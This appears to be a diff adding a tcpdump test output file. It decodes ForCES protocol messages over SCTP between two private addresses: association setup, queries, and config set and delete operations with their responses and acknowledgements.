+23:38:56.019241 IP (tos 0x2,ECT(0), ttl 64, id 0, offset 0, flags [DF], proto SCTP (132), length 36)
+    172.20.4.93.6702 > 172.20.4.63.16702: sctp[ForCES LP]
+	1) [COOKIE ACK] 
+23:38:56.019920 IP (tos 0x2,ECT(0), ttl 64, id 0, offset 0, flags [DF], proto SCTP (132), length 76)
+    172.20.4.63.16701 > 172.20.4.93.6701: sctp[ForCES MP]
+	1) [INIT] [init tag: 355895801] [rwnd: 55296] [OS: 10] [MIS: 65535] [init TSN: 1729985532] 
+23:38:56.020061 IP (tos 0x2,ECT(0), ttl 64, id 0, offset 0, flags [DF], proto SCTP (132), length 236)
+    172.20.4.93.6701 > 172.20.4.63.16701: sctp[ForCES MP]
+	1) [INIT ACK] [init tag: 2960733132] [rwnd: 54784] [OS: 10] [MIS: 10] [init TSN: 777474576] 
+23:38:56.020111 IP (tos 0x2,ECT(0), ttl 64, id 0, offset 0, flags [DF], proto SCTP (132), length 200)
+    172.20.4.63.16701 > 172.20.4.93.6701: sctp[ForCES MP]
+	1) [COOKIE ECHO] 
+23:38:56.020235 IP (tos 0x2,ECT(0), ttl 64, id 0, offset 0, flags [DF], proto SCTP (132), length 36)
+    172.20.4.93.6701 > 172.20.4.63.16701: sctp[ForCES MP]
+	1) [COOKIE ACK] 
+23:38:56.020433 IP (tos 0x2,ECT(0), ttl 64, id 0, offset 0, flags [DF], proto SCTP (132), length 76)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [INIT] [init tag: 3006905571] [rwnd: 55296] [OS: 10] [MIS: 65535] [init TSN: 2958179469] 
+23:38:56.020578 IP (tos 0x2,ECT(0), ttl 64, id 0, offset 0, flags [DF], proto SCTP (132), length 236)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [INIT ACK] [init tag: 3515444933] [rwnd: 54784] [OS: 10] [MIS: 10] [init TSN: 1811362564] 
+23:38:56.020617 IP (tos 0x2,ECT(0), ttl 64, id 0, offset 0, flags [DF], proto SCTP (132), length 200)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [COOKIE ECHO] 
+23:38:56.020739 IP (tos 0x2,ECT(0), ttl 64, id 0, offset 0, flags [DF], proto SCTP (132), length 36)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [COOKIE ACK] 
+23:38:57.240366 IP (tos 0x2,ECT(0), ttl 64, id 1, offset 0, flags [DF], proto SCTP (132), length 72)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 2958179469] [SID: 0] [SSEQ 0] [PPID 0x0] 
+	ForCES Association Setup 
+	ForCES Version 1 len 24B flags 0xf8000000 
+	SrcID 0x3(FE) DstID 0x40000001(CE) Correlator 0x1
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, EMReserved(0x0),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+
+
+23:38:57.240474 IP (tos 0x2,ECT(0), ttl 64, id 0, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [SACK] [cum ack 2958179469] [a_rwnd 54760] [#gap acks 0] [#dup tsns 0] 
+23:38:57.241034 IP (tos 0x2,ECT(0), ttl 64, id 1, offset 0, flags [DF], proto SCTP (132), length 80)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 1811362564] [SID: 0] [SSEQ 0] [PPID 0x0] 
+	ForCES Association Response 
+	ForCES Version 1 len 32B flags 0x38400000 
+	SrcID 0x40000001(CE) DstID 0x3(FE) Correlator 0x1
+	ForCES flags:
+	  NoACK(0x0), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	ASResult TLV, length 8 (data length 4 Bytes)
+         Success (0)
+         
+
+23:38:57.241079 IP (tos 0x2,ECT(0), ttl 64, id 2, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [SACK] [cum ack 1811362564] [a_rwnd 55264] [#gap acks 0] [#dup tsns 0] 
+23:38:57.241047 IP (tos 0x2,ECT(0), ttl 64, id 2, offset 0, flags [DF], proto SCTP (132), length 100)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 1811362565] [SID: 0] [SSEQ 1] [PPID 0x0] 
+	ForCES Query 
+	ForCES Version 1 len 52B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x3(FE) Correlator 0x1
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 28 (data length 24 Bytes)
+         FEObj LFB(Classid 1) instance 1
+          Oper TLV  Get(0x7) length 16
+           PATH-DATA TLV, length 12 (data encapsulated 8 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 2
+
+
+23:38:57.244420 IP (tos 0x2,ECT(0), ttl 64, id 3, offset 0, flags [DF], proto SCTP (132), length 140)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 2958179470] [SID: 0] [SSEQ 1] [PPID 0x0] 
+	ForCES Query Response 
+	ForCES Version 1 len 92B flags 0x38400000 
+	SrcID 0x3(FE) DstID 0x40000001(CE) Correlator 0x1
+	ForCES flags:
+	  NoACK(0x0), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 68 (data length 64 Bytes)
+         FEObj LFB(Classid 1) instance 1
+          Oper TLV  GetResp(0x9) length 56
+           PATH-DATA TLV, length 52 (data encapsulated 48 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 2
+              FULLDATA TLV (Length 40 DataLen 36 Bytes)
+               [
+               0x0000:  0000 0000 0000 0001 0000 0001 0000 0001
+               0x0010:  0000 0002 0000 0001 0000 0002 0000 000e
+               0x0020:  0000 0001
+               ]
+
+
+23:38:57.440152 IP (tos 0x2,ECT(0), ttl 64, id 4, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [SACK] [cum ack 1811362565] [a_rwnd 55264] [#gap acks 0] [#dup tsns 0] 
+23:38:57.444197 IP (tos 0x2,ECT(0), ttl 64, id 3, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [SACK] [cum ack 2958179470] [a_rwnd 54760] [#gap acks 0] [#dup tsns 0] 
+23:39:04.942310 IP (tos 0x2,ECT(0), ttl 64, id 4, offset 0, flags [DF], proto SCTP (132), length 100)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 1811362566] [SID: 0] [SSEQ 2] [PPID 0x0] 
+	ForCES Query 
+	ForCES Version 1 len 52B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x3(FE) Correlator 0x2
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 28 (data length 24 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  Get(0x7) length 16
+           PATH-DATA TLV, length 12 (data encapsulated 8 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+
+
+23:39:04.943823 IP (tos 0x2,ECT(0), ttl 64, id 5, offset 0, flags [DF], proto SCTP (132), length 188)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 2958179471] [SID: 0] [SSEQ 2] [PPID 0x0] 
+	ForCES Query Response 
+	ForCES Version 1 len 140B flags 0x38400000 
+	SrcID 0x3(FE) DstID 0x40000001(CE) Correlator 0x2
+	ForCES flags:
+	  NoACK(0x0), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 116 (data length 112 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  GetResp(0x9) length 104
+           PATH-DATA TLV, length 100 (data encapsulated 96 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              FULLDATA TLV (Length 88 DataLen 84 Bytes)
+               [
+               0x0000:  0112 0054 0000 0000 0000 0001 0112 0028
+               0x0010:  0000 0000 0102 0304 0000 0018 0001 0203
+               0x0020:  0405 0000 0001 1112 1314 0000 0019 0a0b
+               0x0030:  0c0d 0e0f 0000 0001 0000 0002 0112 0018
+               0x0040:  0000 0000 0807 0605 0000 0010 1415 1617
+               0x0050:  1819 0000
+               ]
+
+
+23:39:05.141776 IP (tos 0x2,ECT(0), ttl 64, id 6, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [SACK] [cum ack 1811362566] [a_rwnd 55264] [#gap acks 0] [#dup tsns 0] 
+23:39:05.143071 IP (tos 0x2,ECT(0), ttl 64, id 5, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [SACK] [cum ack 2958179471] [a_rwnd 54760] [#gap acks 0] [#dup tsns 0] 
+23:39:08.406266 IP (tos 0x2,ECT(0), ttl 64, id 6, offset 0, flags [DF], proto SCTP (132), length 156)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 1811362567] [SID: 0] [SSEQ 3] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 108B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x3(FE) Correlator 0x3
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 84 (data length 80 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  Set(0x1) length 72
+           PATH-DATA TLV, length 68 (data encapsulated 64 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              PATH-DATA TLV, length 56 (data encapsulated 52 Bytes)
+               Pathdata: Flags 0x0 ID count 1
+                 ID#01: 0
+                 PATH-DATA TLV, length 44 (data encapsulated 40 Bytes)
+                  Pathdata: Flags 0x0 ID count 1
+                    ID#01: 2
+                    PATH-DATA TLV, length 32 (data encapsulated 28 Bytes)
+                     Pathdata: Flags 0x0 ID count 1
+                       ID#01: 0
+                       PATH-DATA TLV, length 20 (data encapsulated 16 Bytes)
+                        Pathdata: Flags 0x0 ID count 1
+                          ID#01: 1
+                          FULLDATA TLV (Length 8 DataLen 4 Bytes)
+                           [
+                           0x0000:  0a00 0001
+                           ]
+
+
+23:39:08.410057 IP (tos 0x2,ECT(0), ttl 64, id 7, offset 0, flags [DF], proto SCTP (132), length 108)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 2958179472] [SID: 0] [SSEQ 3] [PPID 0x0] 
+	ForCES Config Response 
+	ForCES Version 1 len 60B flags 0x38400000 
+	SrcID 0x3(FE) DstID 0x40000001(CE) Correlator 0x3
+	ForCES flags:
+	  NoACK(0x0), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 36 (data length 32 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  SetResp(0x3) length 24
+           PATH-DATA TLV, length 20 (data encapsulated 16 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              RESULT TLV (Length 8 DataLen 4 Bytes)
+                Result: SUCCESS (code 0x0)
+
+
+23:39:08.606148 IP (tos 0x2,ECT(0), ttl 64, id 8, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [SACK] [cum ack 1811362567] [a_rwnd 55264] [#gap acks 0] [#dup tsns 0] 
+23:39:08.610452 IP (tos 0x2,ECT(0), ttl 64, id 7, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [SACK] [cum ack 2958179472] [a_rwnd 54760] [#gap acks 0] [#dup tsns 0] 
+23:39:10.517887 IP (tos 0x2,ECT(0), ttl 64, id 8, offset 0, flags [DF], proto SCTP (132), length 156)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 1811362568] [SID: 0] [SSEQ 4] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 108B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x3(FE) Correlator 0x4
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 84 (data length 80 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  Set(0x1) length 72
+           PATH-DATA TLV, length 68 (data encapsulated 64 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              PATH-DATA TLV, length 56 (data encapsulated 52 Bytes)
+               Pathdata: Flags 0x0 ID count 1
+                 ID#01: 0
+                 PATH-DATA TLV, length 44 (data encapsulated 40 Bytes)
+                  Pathdata: Flags 0x0 ID count 1
+                    ID#01: 2
+                    PATH-DATA TLV, length 32 (data encapsulated 28 Bytes)
+                     Pathdata: Flags 0x0 ID count 1
+                       ID#01: 0
+                       PATH-DATA TLV, length 20 (data encapsulated 16 Bytes)
+                        Pathdata: Flags 0x0 ID count 1
+                          ID#01: 2
+                          FULLDATA TLV (Length 8 DataLen 4 Bytes)
+                           [
+                           0x0000:  0000 0008
+                           ]
+
+
+23:39:10.521718 IP (tos 0x2,ECT(0), ttl 64, id 9, offset 0, flags [DF], proto SCTP (132), length 108)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 2958179473] [SID: 0] [SSEQ 4] [PPID 0x0] 
+	ForCES Config Response 
+	ForCES Version 1 len 60B flags 0x38400000 
+	SrcID 0x3(FE) DstID 0x40000001(CE) Correlator 0x4
+	ForCES flags:
+	  NoACK(0x0), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 36 (data length 32 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  SetResp(0x3) length 24
+           PATH-DATA TLV, length 20 (data encapsulated 16 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              RESULT TLV (Length 8 DataLen 4 Bytes)
+                Result: SUCCESS (code 0x0)
+
+
+23:39:10.717774 IP (tos 0x2,ECT(0), ttl 64, id 10, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [SACK] [cum ack 1811362568] [a_rwnd 55264] [#gap acks 0] [#dup tsns 0] 
+23:39:10.721988 IP (tos 0x2,ECT(0), ttl 64, id 9, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [SACK] [cum ack 2958179473] [a_rwnd 54760] [#gap acks 0] [#dup tsns 0] 
+23:39:12.997636 IP (tos 0x2,ECT(0), ttl 64, id 10, offset 0, flags [DF], proto SCTP (132), length 160)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 1811362569] [SID: 0] [SSEQ 5] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 112B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x3(FE) Correlator 0x5
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 88 (data length 84 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  Set(0x1) length 76
+           PATH-DATA TLV, length 72 (data encapsulated 68 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              PATH-DATA TLV, length 60 (data encapsulated 56 Bytes)
+               Pathdata: Flags 0x0 ID count 1
+                 ID#01: 0
+                 PATH-DATA TLV, length 48 (data encapsulated 44 Bytes)
+                  Pathdata: Flags 0x0 ID count 1
+                    ID#01: 2
+                    PATH-DATA TLV, length 36 (data encapsulated 32 Bytes)
+                     Pathdata: Flags 0x0 ID count 1
+                       ID#01: 0
+                       PATH-DATA TLV, length 24 (data encapsulated 20 Bytes)
+                        Pathdata: Flags 0x0 ID count 1
+                          ID#01: 3
+                          FULLDATA TLV (Length 10 DataLen 6 pad 2 Bytes)
+                           [
+                           0x0000:  0002 0406 080a 0000
+                           ]
+
+
+23:39:13.001457 IP (tos 0x2,ECT(0), ttl 64, id 11, offset 0, flags [DF], proto SCTP (132), length 108)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 2958179474] [SID: 0] [SSEQ 5] [PPID 0x0] 
+	ForCES Config Response 
+	ForCES Version 1 len 60B flags 0x38400000 
+	SrcID 0x3(FE) DstID 0x40000001(CE) Correlator 0x5
+	ForCES flags:
+	  NoACK(0x0), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 36 (data length 32 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  SetResp(0x3) length 24
+           PATH-DATA TLV, length 20 (data encapsulated 16 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              RESULT TLV (Length 8 DataLen 4 Bytes)
+                Result: SUCCESS (code 0x0)
+
+
+23:39:13.197325 IP (tos 0x2,ECT(0), ttl 64, id 12, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [SACK] [cum ack 1811362569] [a_rwnd 55264] [#gap acks 0] [#dup tsns 0] 
+23:39:13.201336 IP (tos 0x2,ECT(0), ttl 64, id 11, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [SACK] [cum ack 2958179474] [a_rwnd 54760] [#gap acks 0] [#dup tsns 0] 
+23:39:15.389357 IP (tos 0x2,ECT(0), ttl 64, id 12, offset 0, flags [DF], proto SCTP (132), length 200)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 1811362570] [SID: 0] [SSEQ 6] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 152B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x3(FE) Correlator 0x6
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 128 (data length 124 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  Set(0x1) length 116
+           PATH-DATA TLV, length 112 (data encapsulated 108 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              PATH-DATA TLV, length 100 (data encapsulated 96 Bytes)
+               Pathdata: Flags 0x0 ID count 1
+                 ID#01: 0
+                 PATH-DATA TLV, length 88 (data encapsulated 84 Bytes)
+                  Pathdata: Flags 0x0 ID count 1
+                    ID#01: 2
+                    PATH-DATA TLV, length 76 (data encapsulated 72 Bytes)
+                     Pathdata: Flags 0x0 ID count 1
+                       ID#01: 2
+                       PATH-DATA TLV, length 20 (data encapsulated 16 Bytes)
+                        Pathdata: Flags 0x0 ID count 1
+                          ID#01: 1
+                          FULLDATA TLV (Length 8 DataLen 4 Bytes)
+                           [
+                           0x0000:  1400 0001
+                           ]
+                      PATH-DATA TLV, length 20 (data encapsulated 16 Bytes)
+                       Pathdata: Flags 0x0 ID count 1
+                         ID#01: 2
+                         FULLDATA TLV (Length 8 DataLen 4 Bytes)
+                          [
+                          0x0000:  0000 000c
+                          ]
+                      PATH-DATA TLV, length 24 (data encapsulated 20 Bytes)
+                       Pathdata: Flags 0x0 ID count 1
+                         ID#01: 3
+                         FULLDATA TLV (Length 10 DataLen 6 pad 2 Bytes)
+                          [
+                          0x0000:  0003 0609 0c0f 0000
+                          ]
+
+
+23:39:15.393377 IP (tos 0x2,ECT(0), ttl 64, id 13, offset 0, flags [DF], proto SCTP (132), length 108)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 2958179475] [SID: 0] [SSEQ 6] [PPID 0x0] 
+	ForCES Config Response 
+	ForCES Version 1 len 60B flags 0x38400000 
+	SrcID 0x3(FE) DstID 0x40000001(CE) Correlator 0x6
+	ForCES flags:
+	  NoACK(0x0), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 36 (data length 32 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  SetResp(0x3) length 24
+           PATH-DATA TLV, length 20 (data encapsulated 16 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              RESULT TLV (Length 8 DataLen 4 Bytes)
+                Result: SUCCESS (code 0x0)
+
+
+23:39:15.588896 IP (tos 0x2,ECT(0), ttl 64, id 14, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [SACK] [cum ack 1811362570] [a_rwnd 55264] [#gap acks 0] [#dup tsns 0] 
+23:39:15.592787 IP (tos 0x2,ECT(0), ttl 64, id 13, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [SACK] [cum ack 2958179475] [a_rwnd 54760] [#gap acks 0] [#dup tsns 0] 
+23:39:18.045055 IP (tos 0x2,ECT(0), ttl 64, id 14, offset 0, flags [DF], proto SCTP (132), length 220)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 1811362571] [SID: 0] [SSEQ 7] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 172B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x3(FE) Correlator 0x7
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 148 (data length 144 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  Set(0x1) length 136
+           PATH-DATA TLV, length 132 (data encapsulated 128 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              PATH-DATA TLV, length 120 (data encapsulated 116 Bytes)
+               Pathdata: Flags 0x0 ID count 1
+                 ID#01: 2
+                 PATH-DATA TLV, length 20 (data encapsulated 16 Bytes)
+                  Pathdata: Flags 0x0 ID count 1
+                    ID#01: 1
+                    FULLDATA TLV (Length 8 DataLen 4 Bytes)
+                     [
+                     0x0000:  0000 0003
+                     ]
+                PATH-DATA TLV, length 88 (data encapsulated 84 Bytes)
+                 Pathdata: Flags 0x0 ID count 1
+                   ID#01: 2
+                   PATH-DATA TLV, length 76 (data encapsulated 72 Bytes)
+                    Pathdata: Flags 0x0 ID count 1
+                      ID#01: 0
+                      PATH-DATA TLV, length 20 (data encapsulated 16 Bytes)
+                       Pathdata: Flags 0x0 ID count 1
+                         ID#01: 1
+                         FULLDATA TLV (Length 8 DataLen 4 Bytes)
+                          [
+                          0x0000:  1e00 0001
+                          ]
+                     PATH-DATA TLV, length 20 (data encapsulated 16 Bytes)
+                      Pathdata: Flags 0x0 ID count 1
+                        ID#01: 2
+                        FULLDATA TLV (Length 8 DataLen 4 Bytes)
+                         [
+                         0x0000:  0000 000d
+                         ]
+                     PATH-DATA TLV, length 24 (data encapsulated 20 Bytes)
+                      Pathdata: Flags 0x0 ID count 1
+                        ID#01: 3
+                        FULLDATA TLV (Length 10 DataLen 6 pad 2 Bytes)
+                         [
+                         0x0000:  0004 080c 1014 0000
+                         ]
+
+
+23:39:18.049369 IP (tos 0x2,ECT(0), ttl 64, id 15, offset 0, flags [DF], proto SCTP (132), length 108)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 2958179476] [SID: 0] [SSEQ 7] [PPID 0x0] 
+	ForCES Config Response 
+	ForCES Version 1 len 60B flags 0x38400000 
+	SrcID 0x3(FE) DstID 0x40000001(CE) Correlator 0x7
+	ForCES flags:
+	  NoACK(0x0), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 36 (data length 32 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  SetResp(0x3) length 24
+           PATH-DATA TLV, length 20 (data encapsulated 16 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              RESULT TLV (Length 8 DataLen 4 Bytes)
+                Result: SUCCESS (code 0x0)
+
+
+23:39:18.244425 IP (tos 0x2,ECT(0), ttl 64, id 16, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [SACK] [cum ack 1811362571] [a_rwnd 55264] [#gap acks 0] [#dup tsns 0] 
+23:39:18.248927 IP (tos 0x2,ECT(0), ttl 64, id 15, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [SACK] [cum ack 2958179476] [a_rwnd 54760] [#gap acks 0] [#dup tsns 0] 
+23:39:20.060819 IP (tos 0x2,ECT(0), ttl 64, id 16, offset 0, flags [DF], proto SCTP (132), length 136)
+    172.20.4.93.6700 > 172.20.4.63.16700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 1811362572] [SID: 0] [SSEQ 8] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 88B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x3(FE) Correlator 0x8
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 64 (data length 60 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  Del(0x5) length 52
+           PATH-DATA TLV, length 48 (data encapsulated 44 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              PATH-DATA TLV, length 36 (data encapsulated 32 Bytes)
+               Pathdata: Flags 0x0 ID count 1
+                 ID#01: 0
+                 PATH-DATA TLV, length 24 (data encapsulated 20 Bytes)
+                  Pathdata: Flags 0x0 ID count 1
+                    ID#01: 2
+                    PATH-DATA TLV, length 12 (data encapsulated 8 Bytes)
+                     Pathdata: Flags 0x0 ID count 1
+                       ID#01: 2
+
+
+23:39:20.065279 IP (tos 0x2,ECT(0), ttl 64, id 17, offset 0, flags [DF], proto SCTP (132), length 108)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 2958179477] [SID: 0] [SSEQ 8] [PPID 0x0] 
+	ForCES Config Response 
+	ForCES Version 1 len 60B flags 0x38400000 
+	SrcID 0x3(FE) DstID 0x40000001(CE) Correlator 0x8
+	ForCES flags:
+	  NoACK(0x0), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 36 (data length 32 Bytes)
+         #14(Classid e) instance 1
+          Oper TLV  DelResp(0x6) length 24
+           PATH-DATA TLV, length 20 (data encapsulated 16 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+              RESULT TLV (Length 8 DataLen 4 Bytes)
+                Result: SUCCESS (code 0x0)
+
+
+23:39:20.260061 IP (tos 0x2,ECT(0), ttl 64, id 18, offset 0, flags [DF], proto SCTP (132), length 48)
+    172.20.4.63.16700 > 172.20.4.93.6700: sctp[ForCES HP]
+	1) [SACK] [cum ack 1811362572] [a_rwnd 55264] [#gap acks 0] [#dup tsns 0] 
